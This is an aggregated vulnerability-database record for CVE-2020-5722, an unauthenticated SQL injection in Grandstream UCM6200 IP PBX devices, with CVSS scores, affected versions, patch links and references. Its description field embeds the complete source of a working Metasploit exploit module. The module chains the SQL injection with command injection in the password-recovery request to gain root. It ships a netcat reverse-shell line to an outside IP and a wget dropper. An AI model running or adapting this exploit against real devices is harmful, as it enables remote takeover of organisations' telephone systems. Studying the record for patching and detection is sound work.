ID

VAR-202003-1435


CVE

CVE-2020-5722


TITLE

Grandstream UCM6200 In the series SQL Injection vulnerabilities

Trust: 0.8

sources: JVNDB: JVNDB-2020-003190

DESCRIPTION

The HTTP interface of the Grandstream UCM6200 series is vulnerable to an unauthenticated remote SQL injection via crafted HTTP request. An attacker can use this vulnerability to execute shell commands as root on versions before 1.0.19.20 or inject HTML in password recovery emails in versions before 1.0.20.17. Grandstream UCM6200 In the series SQL An injection vulnerability exists.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. Grandstream UCM6200 is a set of enterprise-level switches used for IP telephone communication by the US company Grandstream. Grandstream UCM6200 versions prior to 1.0.19.20 and versions before 1.0.20.17 have SQL injection vulnerabilities. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Grandstream UCM62xx IP PBX sendPasswordEmail RCE', 'Description' => %q{ This module exploits an unauthenticated SQL injection vulnerability (CVE-2020-5722) and a command injection vulnerability (technically, no assigned CVE but was inadvertently patched at the same time as CVE-2019-10662) affecting the Grandstream UCM62xx IP PBX series of devices. Exploitation happens in two stages: 1. An SQL injection during username lookup while executing the "Forgot Password" function. 2. A command injection that occurs after the user provided username is passed to a Python script via the shell. Like so: /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \ password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 ` This module affect UCM62xx versions before firmware version 1.0.19.20. }, 'License' => MSF_LICENSE, 'Author' => [ 'jbaines-r7' # Vulnerability discovery, original exploit, and Metasploit module ], 'References' => [ [ 'CVE', '2020-5722' ], [ 'EDB', '48247'] ], 'DisclosureDate' => '2020-03-23', 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_ARMLE], 'Privileged' => true, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'Payload' => { 'DisableNops' => true, 'BadChars' => '\'&|' }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_ARMLE], 'Type' => :linux_dropper, 'CmdStagerFlavor' => [ 'wget' ] } ] ], 'DefaultTarget' => 1, 'DefaultOptions' => { 'RPORT' => 8089, 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK ] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end ## # Sends a POST /cgi request with a payload of action=getInfo. The # server should respond with a large json blob like the following, # where "prog_version" is he firmware version: # # {"response"=>{ # "model_name"=>"UCM6202", "description"=>"IPPBX Appliance", # "device_name"=>"", "logo"=>"images/h_logo.png", "logo_url"=>"http://www.grandstream.com/", # "copyright"=>"Copyright \u00A9 Grandstream Networks, Inc. 2014. All Rights Reserved.", # "num_fxo"=>"2", "num_fxs"=>"2", "num_pri"=>"0", "num_eth"=>"2", "allow_nat"=>"1", # "svip_type"=>"4", "net_mode"=>"0", "prog_version"=>"1.0.18.13", "country"=>"US", # "support_openvpn"=>"1", "enable_openvpn"=>"0", "enable_webrtc_openvpn"=>"0", # "support_webrtc_cloud"=>"0"}, "status"=>0} ### def check normalized_uri = normalize_uri(target_uri.path, '/cgi') vprint_status("Requesting version information from #{normalized_uri}") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalized_uri, 'vars_post' => { 'action' => 'getInfo' } }) return CheckCode::Unknown('HTTP status code is not 200') unless res&.code == 200 body_json = res.get_json_document return CheckCode::Unknown('No JSON in response') unless body_json prog_version = body_json.dig('response', 'prog_version') return false if prog_version.nil? vprint_status("The reported version is: #{prog_version}") version = Rex::Version.new(prog_version) if version < Rex::Version.new('1.0.19.20') return CheckCode::Appears("This determination is based on the version string: #{prog_version}.") end return CheckCode::Safe("This determination is based on the version string: #{prog_version}.") end ## # Throws a payload at the sendPasswordEmail action. The payload must first survive an SQL injection # and then it will get passed to a python script via sh which allows us to execute a command injection. # It will look something like this: # # /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \ # password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 ` # # This functionality is related to the"Forgot Password" feature. This function is rate limited by # the server so that an attacker can only invoke it, at most, every 60 seconds. As such, only a few # payloads are appropriate. ### def execute_command(cmd, _opts = {}) rand_num = Rex::Text.rand_text_numeric(1..5) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/cgi'), 'vars_post' => { 'action' => 'sendPasswordEmail', 'user_name' => "' or #{rand_num}=#{rand_num}--`;`#{cmd}`;`" } }, 5) # the netcat reverse shell payload holds the connection open. So we'll treat no response # as a success. The meterpreter payload does not hold the connection open so this clause digs # deeper to ensure it succeeded. The server will respond with a non-0 status if the payload # generates an error (e.g. rate limit error) if res fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res.code == 200 body_json = res.get_json_document fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json status_json = body_json['status'] fail_with(Failure::UnexpectedReply, 'The JSON response is missing the status element') unless status_json fail_with(Failure::UnexpectedReply, "The server responded with an error status #{status_json}") unless status_json == 0 end print_good('Exploit successfully executed.') end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager end end end

Trust: 2.34

sources: NVD: CVE-2020-5722 // JVNDB: JVNDB-2020-003190 // CNVD: CNVD-2020-23201 // VULMON: CVE-2020-5722 // PACKETSTORM: 165708

IOT TAXONOMY

category:['Network device']sub_category: -

Trust: 0.6

sources: CNVD: CNVD-2020-23201

AFFECTED PRODUCTS

vendor:grandstreammodel:ucm6200scope:ltversion:1.0.19.20

Trust: 1.6

vendor:grandstreammodel:ucm6200scope:eqversion:1.0.19.20

Trust: 0.8

vendor:grandstreammodel:ucm6200scope:eqversion:1.0.20.17

Trust: 0.8

vendor:grandstreammodel:ucm6200scope:ltversion:1.0.20.17

Trust: 0.6

sources: CNVD: CNVD-2020-23201 // JVNDB: JVNDB-2020-003190 // NVD: CVE-2020-5722

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2020-5722
value: CRITICAL

Trust: 1.0

NVD: JVNDB-2020-003190
value: CRITICAL

Trust: 0.8

CNVD: CNVD-2020-23201
value: HIGH

Trust: 0.6

CNNVD: CNNVD-202003-1337
value: CRITICAL

Trust: 0.6

VULMON: CVE-2020-5722
value: HIGH

Trust: 0.1

nvd@nist.gov: CVE-2020-5722
severity: HIGH
baseScore: 10.0
vectorString: AV:N/AC:L/AU:N/C:C/I:C/A:C
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: COMPLETE
integrityImpact: COMPLETE
availabilityImpact: COMPLETE
exploitabilityScore: 10.0
impactScore: 10.0
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.1

NVD: JVNDB-2020-003190
severity: HIGH
baseScore: 10.0
vectorString: AV:N/AC:L/AU:N/C:C/I:C/A:C
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: COMPLETE
integrityImpact: COMPLETE
availabilityImpact: COMPLETE
exploitabilityScore: NONE
impactScore: NONE
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.8

CNVD: CNVD-2020-23201
severity: HIGH
baseScore: 10.0
vectorString: AV:N/AC:L/AU:N/C:C/I:C/A:C
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: COMPLETE
integrityImpact: COMPLETE
availabilityImpact: COMPLETE
exploitabilityScore: 10.0
impactScore: 10.0
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

nvd@nist.gov: CVE-2020-5722
baseSeverity: CRITICAL
baseScore: 9.8
vectorString: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: 3.9
impactScore: 5.9
version: 3.1

Trust: 1.0

NVD: JVNDB-2020-003190
baseSeverity: CRITICAL
baseScore: 9.8
vectorString: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: NONE
impactScore: NONE
version: 3.0

Trust: 0.8

sources: CNVD: CNVD-2020-23201 // VULMON: CVE-2020-5722 // JVNDB: JVNDB-2020-003190 // CNNVD: CNNVD-202003-1337 // NVD: CVE-2020-5722

PROBLEMTYPE DATA

problemtype:CWE-89

Trust: 1.8

sources: JVNDB: JVNDB-2020-003190 // NVD: CVE-2020-5722

THREAT TYPE

remote

Trust: 0.7

sources: PACKETSTORM: 165708 // CNNVD: CNNVD-202003-1337

TYPE

SQL injection

Trust: 0.6

sources: CNNVD: CNNVD-202003-1337

CONFIGURATIONS

sources: JVNDB: JVNDB-2020-003190

EXPLOIT AVAILABILITY

sources: VULMON: CVE-2020-5722

PATCH

title:Top Pageurl:http://www.grandstream.com/

Trust: 0.8

title:Patch for Grandstream UCM6200 SQL injection vulnerability (CNVD-2020-23201)url:https://www.cnvd.org.cn/patchInfo/show/214293

Trust: 0.6

title:Grandstream UCM6200 SQL Repair measures for injecting vulnerabilitiesurl:http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=112779

Trust: 0.6

title:Known Exploited Vulnerabilities Detectorurl:https://github.com/Ostorlab/KEV

Trust: 0.1

title:Threatposturl:https://threatpost.com/inside-hoaxcalls-botnet-success-failure/156107/

Trust: 0.1

title:Threatposturl:https://threatpost.com/fast-moving-ddos-botnet-unpatched-zyxel-rce-bug/155059/

Trust: 0.1

sources: CNVD: CNVD-2020-23201 // VULMON: CVE-2020-5722 // JVNDB: JVNDB-2020-003190 // CNNVD: CNNVD-202003-1337

EXTERNAL IDS

db:NVDid:CVE-2020-5722

Trust: 3.2

db:PACKETSTORMid:156876

Trust: 3.1

db:PACKETSTORMid:165708

Trust: 1.8

db:TENABLEid:TRA-2020-15

Trust: 1.7

db:JVNDBid:JVNDB-2020-003190

Trust: 0.8

db:EXPLOIT-DBid:48247

Trust: 0.7

db:CNVDid:CNVD-2020-23201

Trust: 0.6

db:CNNVDid:CNNVD-202003-1337

Trust: 0.6

db:VULMONid:CVE-2020-5722

Trust: 0.1

sources: CNVD: CNVD-2020-23201 // VULMON: CVE-2020-5722 // JVNDB: JVNDB-2020-003190 // PACKETSTORM: 165708 // CNNVD: CNNVD-202003-1337 // NVD: CVE-2020-5722

REFERENCES

url:http://packetstormsecurity.com/files/156876/ucm6202-1.0.18.13-remote-command-injection.html

Trust: 3.7

url:http://packetstormsecurity.com/files/165708/grandstream-ucm62xx-ip-pbx-sendpasswordemail-remote-code-execution.html

Trust: 2.3

url:https://www.tenable.com/security/research/tra-2020-15

Trust: 1.7

url:https://nvd.nist.gov/vuln/detail/cve-2020-5722

Trust: 1.5

url:https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2020-5722

Trust: 0.8

url:https://www.exploit-db.com/exploits/48247

Trust: 0.7

url:https://cwe.mitre.org/data/definitions/89.html

Trust: 0.1

url:https://nvd.nist.gov

Trust: 0.1

url:https://threatpost.com/fast-moving-ddos-botnet-unpatched-zyxel-rce-bug/155059/

Trust: 0.1

url:http://www.grandstream.com/",

Trust: 0.1

url:https://metasploit.com/download

Trust: 0.1

url:https://github.com/rapid7/metasploit-framework

Trust: 0.1

sources: CNVD: CNVD-2020-23201 // VULMON: CVE-2020-5722 // JVNDB: JVNDB-2020-003190 // PACKETSTORM: 165708 // CNNVD: CNNVD-202003-1337 // NVD: CVE-2020-5722

CREDITS

Jacob Baines

Trust: 0.6

sources: CNNVD: CNNVD-202003-1337

SOURCES

db:CNVDid:CNVD-2020-23201
db:VULMONid:CVE-2020-5722
db:JVNDBid:JVNDB-2020-003190
db:PACKETSTORMid:165708
db:CNNVDid:CNNVD-202003-1337
db:NVDid:CVE-2020-5722

LAST UPDATE DATE

2024-11-23T22:25:58.503000+00:00


SOURCES UPDATE DATE

db:CNVDid:CNVD-2020-23201date:2020-04-17T00:00:00
db:VULMONid:CVE-2020-5722date:2022-02-10T00:00:00
db:JVNDBid:JVNDB-2020-003190date:2020-04-07T00:00:00
db:CNNVDid:CNNVD-202003-1337date:2022-01-26T00:00:00
db:NVDid:CVE-2020-5722date:2024-11-21T05:34:29.097

SOURCES RELEASE DATE

db:CNVDid:CNVD-2020-23201date:2020-04-17T00:00:00
db:VULMONid:CVE-2020-5722date:2020-03-23T00:00:00
db:JVNDBid:JVNDB-2020-003190date:2020-04-07T00:00:00
db:PACKETSTORMid:165708date:2022-01-25T16:34:16
db:CNNVDid:CNNVD-202003-1337date:2020-03-23T00:00:00
db:NVDid:CVE-2020-5722date:2020-03-23T20:15:12.043